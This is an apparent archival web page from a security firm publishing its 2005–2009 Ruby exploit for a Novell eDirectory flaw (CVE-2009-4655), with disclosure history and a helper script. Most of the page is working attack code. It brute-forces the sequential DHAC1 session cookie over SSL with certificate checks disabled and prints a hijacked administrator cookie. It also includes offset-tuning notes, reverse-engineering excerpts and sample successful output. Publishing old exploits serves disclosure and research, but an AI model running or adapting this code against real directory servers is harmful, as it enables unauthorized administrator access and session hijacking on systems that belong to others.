Novell eDirectory DHAC1-DHOST Remote Session Hijack


Published on:
2009-02-01 00:00:00 +0000 UTC
Last modified:
2022-08-22 10:00:56 +0000 UTC

Background:

  • The vulnerability itself and the early exploit date back to 2005 and earlier.
  • At some point, during en engagement, a third-party was given a copy, circa 2009, for evaluation purposes.
  • This third-party leaked/disclosed the vulnerability (via an employee with a long track record of impulsive disclosures).
  • Later it surfaced in Metasploit and CVE-2009-4655 was assigned.

The initial commit of the version in this page dates back to December 2008:

commit 2756519f02b8b4b56e2ccf850f3c0b7b976f08ce
Author:  <@subreption.com>
Date:   Mon Dec 8 07:43:15 2008 +0000

    Importing independent zpack repository

Zpack was a software distribution offered to customers for penetration testing, primarily for enterprise and government clients, where eDirectory was a popular directory service solution at the time. Zpack served a niche market for advanced penetration testing services when the market for offensive security in consulting was still in its infancy.

Estimated lifespan: ~4.5 years.

Source code

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
# Copyright (c) 2005-2009 Subreption LLC. All rights reserved.
# Proprietary information - Company Confidential.
# 2022: PUBLIC RELEASE

EXPLOIT_DESCRIPTION = %Q{
  Novell eDirectory is affected by a remotely exploitable logic flaw:
  the session token / id used to identify logged-in users (including
  administrators) is generated sequentially using fixed offsets. Altogether
  with the overly long period for session expiration (at very least 30
  minutes), this allows a remote attacker to hijack arbitrary sessions
  on the system, gaining privileges on the directory tree and potentially
  shell access to the eDirectory host, as well as full access to server
  configuration.
  
  DHAC1=eb3d0016; Path=/
  
  The DHAC1 cookie value is the session token / id, used to identify logged
  in users. No other verification process exists.
  
  -- Vulnerable versions:
  Novell eDirectory up to 8.8 Service Pack 2 (Tested on 8.8 SP 2 and 8.8).
  In all the supported platforms (Microsoft Windows, Linux, etc).
  
  eDirectory 8.8 on Linux seems to use 0x10001 as offset 100% of the
  time, making the exploit extremely reliable against such installations.
  
  -- References:
  http://www.novell.com/documentation/edir88/edir88/data/a6l60f7.html
  
  -- Appendix 1: Calculation of token offset
  
  A tool (edir_token_calc.rb) is available for calculating the token
  offset value. Depending on the eDirectory version, it might change
  (although the incremental nature remains and can be predicted reliably).
  For 8.0-8.8 it was 0x10001, and 8.8 SP2 has a value of 0x20001 normally.
  Thanks to the flawed session handling logic of eDirectory, there's plenty
  of time to crack the token, especially for such high shifts. The minimal
  amount of time is 30 minutes of inactivity.
  
      Reading eDirectory session token log (generated from exploit)...
      Calculating token offsets (795 tokens collected):
      ..................................................................
      .............................................................
      Done. Printing token offsets (13 total):
          0x20007
          0x20003
          0x20001
          0x1fffe
          0x20004
          0x20002
          0x1ffff
          0x1fffd
          0x20005
          0x40003
          0x1fffc
          0x20006
          0x1fffb
      Done.

  With some customization of the code, the exploit can be made 'aware'
  of any offset changes and update it during the brute forcing process,
  slightly improving performance. This will be less reliable if the offset
  has changed since the target session token was generated:
  
  irb(main):006:0> (0xffffffff - 0xeb6a0110) / 0x1ffff
  => 2635
  
  (For target token being 0xeb6a0110). Tune FIXED_TOKEN_OFFSET and set the
  FOCUS_ON_PERFORMANCE variable to true or false depending on your needs.
  Recommended setting is 'false'.
  
  For even higher performance, the brute forcing could be done by different
  threads working on separate token ranges. This might be implemented on a
  future revision, if necessary. Although, it adds further complexity to the
  exploit.
  
  -- Appendix 2: Example (successful) usage
  
  $ ruby edirectoryadmin.rb 172.16.0.30
  Novell eDirectory => 8.8 SP2 Remote Administrator Exploit
  Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
  Targeting 172.16.0.30
  Detected eDirectory HTTP(S): DHost/9.0 HttpStk/1.0
  Writing received tokens to edir_token.log
  (...)
  [+] Trying token: c4b80110
  
  Token cracked. Use the following cookie to access iMonitor:
  Cookie: DHAC1=c4b80110; Path=/
  Enjoy your administrator privileges!
  
  -- Appendix 3: Reverse engineering information
  
  The following procedures from the httpstk.dlm seem to be related with
  the process of incrementing the session token, which is an unsigned long
  (32 bit):
  
  sub_624026F2 proc near
  ...
  call    ds:[email protected]   ; SAL_EnterSpinLock(x)
  push    esi
  call    ds:[email protected] ; SAL_AtomicIncrement(x)
  push    edi
  call    ds:[email protected]   ; SAL_LeaveSpinLock(x)
  pop     edi
  pop     esi
  retn
  sub_624026F2 endp
  
  sub_62408A15 proc near
  push    esi
  lea     esi, [ecx+14h]
  mov     ecx, esi
  call    sub_624026F2
  mov     eax, esi
  pop     esi
  retn
  sub_62408A15 endp

  sub_62402719+1B              call    sub_62408A15 
  sub_624029E0+17              call    sub_62408A15 
  sub_6240360D+17              call    sub_62408A15 
  sub_6240464C+83              call    sub_62408A15 
  sub_62405E4B+AA              call    sub_62408A15 
  HRequest::SendHeader(int)+2D call    sub_62408A15 
  sub_62407180+14              call    sub_62408A15 
  sub_62407795+15              call    sub_62408A15 
  sub_62409021+E               call    sub_62408A15 
  sub_624096A5+E               call    sub_62408A15 
  sub_62409F3E+E               call    sub_62408A15 
  sub_6240A50D+F               call    sub_62408A15 
}

require 'net/https'

# In 8.0-8.8 it was 90% of time 0x10001, change it to lower one for better precision.
# Brute forcing will take a higher time though. For 8.8 SP2 it remains sequential
# but sometimes by an offset of 1 or 2 (ie. 0x20001, 0x20002).
FIXED_TOKEN_OFFSET   = 0x10001

# Make the exploit reliable or faster? This is extremely relative and we
# provide the code simply for documenting the vulnerability. We recommend
# leaving it as 'false'.
FOCUS_ON_PERFORMANCE = false

def imonitor_crack(remote_host, http_port = 8028, ssl_port = 8030)
  current_token = 0xffffffff
  token_cracked = false
  total_tries   = 0
  
  puts "Targeting #{remote_host}"
  
  # Check the server banner
  Net::HTTP.start(remote_host, http_port) do |http|
    resp, data = http.get('/')
    banner = resp.response['Server']
    if banner =~ /DHost/i
      puts "Detected eDirectory HTTP(S): " + banner
    else
      puts "No eDirectory running at #{remote_host}?"
      return nil
    end
  end
  
  headers = {
    'User-Agent'      => "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8) Gecko/20071008",
    'Accept'          => "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text",
    "Accept-Language" => "en-us,en;q=0.5",
    "Accept-Encoding" => "gzip,deflate"
  }
  
  puts "Writing received tokens to edir_token.log"
  logfile = File.open("edir_token.log", "w+")
  
  while token_cracked != true
    headers['Cookie'] = sprintf("DHAC1=%x; Path=/", current_token)
    
    req             = Net::HTTP.new(remote_host, ssl_port)
    req.use_ssl     = true
    req.verify_mode = OpenSSL::SSL::VERIFY_NONE
    resp, data      = req.get2('/dhost/nav', headers)
    
    if resp.code.to_i == 200
      puts "[+] Obtained valid token after #{total_tries} tries."
      token_cracked = true
    end
    
    if total_tries == 0 and FOCUS_ON_PERFORMANCE == true
      puts resp['Set-Cookie']
      begin
        current_token = resp['Set-Cookie'].scan(/DHAC1=(.+?);/).flatten[0].to_i(16)
      rescue
      end
    end
    
    puts "[+] T=#{total_tries} Trying token: " + sprintf("%x", current_token)
    total_tries += 1
    
    begin
      logfile.write resp['Set-Cookie'].scan(/DHAC1=(.+?);/).flatten[0] + "\n"
    rescue
    end
    
    current_token -= FIXED_TOKEN_OFFSET
  end
  
  return current_token
end

def main
  target_ssl_port  = 8030
  target_http_port = 8028
  
  puts "Novell eDirectory => 8.8 SP2 Remote Administrator Exploit"
  puts "Copyright (c) 2007-2008 Subreption LLC. All rights reserved."
  
  if ARGV.size != 1
    puts "Usage: #{$0} [hostname or ip] [port]"
    puts "It will connect using SSL, without certificate verification."
    puts EXPLOIT_DESCRIPTION
    exit 1
  end
  
  if ARGV[1]
    target_ssl_port = ARGV[1].to_i
  end
  
  target_host  = ARGV[0]
  admin_token = imonitor_crack(target_host, target_http_port, target_ssl_port)
  if admin_token
    puts ""
    puts "Token cracked. Use the following cookie to access iMonitor:"
    puts "Cookie: " + sprintf("DHAC1=%x; Path=/", admin_token)
    puts "Enjoy your administrator privileges on #{target_host}!"
    exit 0
  end
  
  exit 1
end

if $0 == __FILE__
  main
end

Supporting files

Tool used to analyze logs for offsets (to adjust changes from Service Packs):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Token offset analysis script
last_token = 0
cur_token  = 0
token_off  = Array.new

puts "Reading eDirectory session token log (generated from exploit)..."
tokens = File.readlines("edir_token.log")

puts "Calculating token offsets (#{tokens.size} tokens collected):"
tokens.each do |t|
  cur_token = t.chomp.to_i(16)
  print "."
  if last_token != 0
    token_off << (cur_token - last_token)
  end
  last_token = cur_token
end
token_off.uniq!

print "\n"
puts "Done. Printing token offsets (#{token_off.size} total):"

token_off.each do |off|
  puts sprintf("\s\s\s 0x%x", off)
end

puts "Done."